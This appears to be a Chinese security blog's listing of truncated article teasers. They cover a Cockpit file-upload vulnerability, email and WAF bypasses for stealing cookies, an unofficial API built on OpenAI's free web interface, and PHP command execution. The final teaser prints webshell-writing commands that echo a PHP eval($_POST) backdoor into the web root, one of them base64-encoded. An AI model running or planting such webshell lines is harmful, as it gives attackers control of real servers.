Chat-gpt本地搭建教程
教程介绍： 无需魔法，无需国外服务器，支持 linux，mac，Windows 本地搭建，也支持 vps 搭建，国内外都可以 需要 gpt 账号 项目地址：https://github.com/pengzhile/pandora YouTube 来源：...
【漏洞复现】cockpit系统assetsmanager/upload接口存在文件上传漏洞 | 附poc
0x01 漏洞描述 cockpit系统assetsmanager/upload接口处存在任意文件上传漏洞。攻击者可通过该漏洞在服务端任意上传代码并获取服务器权限，进而控制整个Web服务器。 0x02 空间测绘 测绘语法： ...
利用openAI官方提供的WEB免费GPT-3.5-Turbo 实现API 服务
前情提要 众所周知，openai官方开放了web端的GPT-3.5-Turbo模型，无需登陆，无需付费即可无限使用。但很多群友不想时刻挂梯子访问官方web，同时又有一些插件或者项目需要直接调用api来使用（比...
EDU从邮箱绕过到系统通杀
一、前言 这个思路呢是作者小白在一次EDU某证书站挖掘的过程中发现的。说到邮箱绕过，很多师傅第一反应应该是系统代码逻辑性问题，比如邮箱叠加/复用以及邮箱重放。 这里呢，作者小白就简单提供...
SN某分站绕WAF+变态过滤利用域终实现拿cookie
话说，某日发现SN某分站有一个参数可以随意输入，但是可能是因为代码的原因导致部分标点符号会改写代码。首先就是SN的网站有自带的WAF，这应该算是第一层WAF，是SN所有站点都有的WAF，这个上文...
记php命令执行写shell
php代码执行&命令执行 getshell echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php bypass 绕过...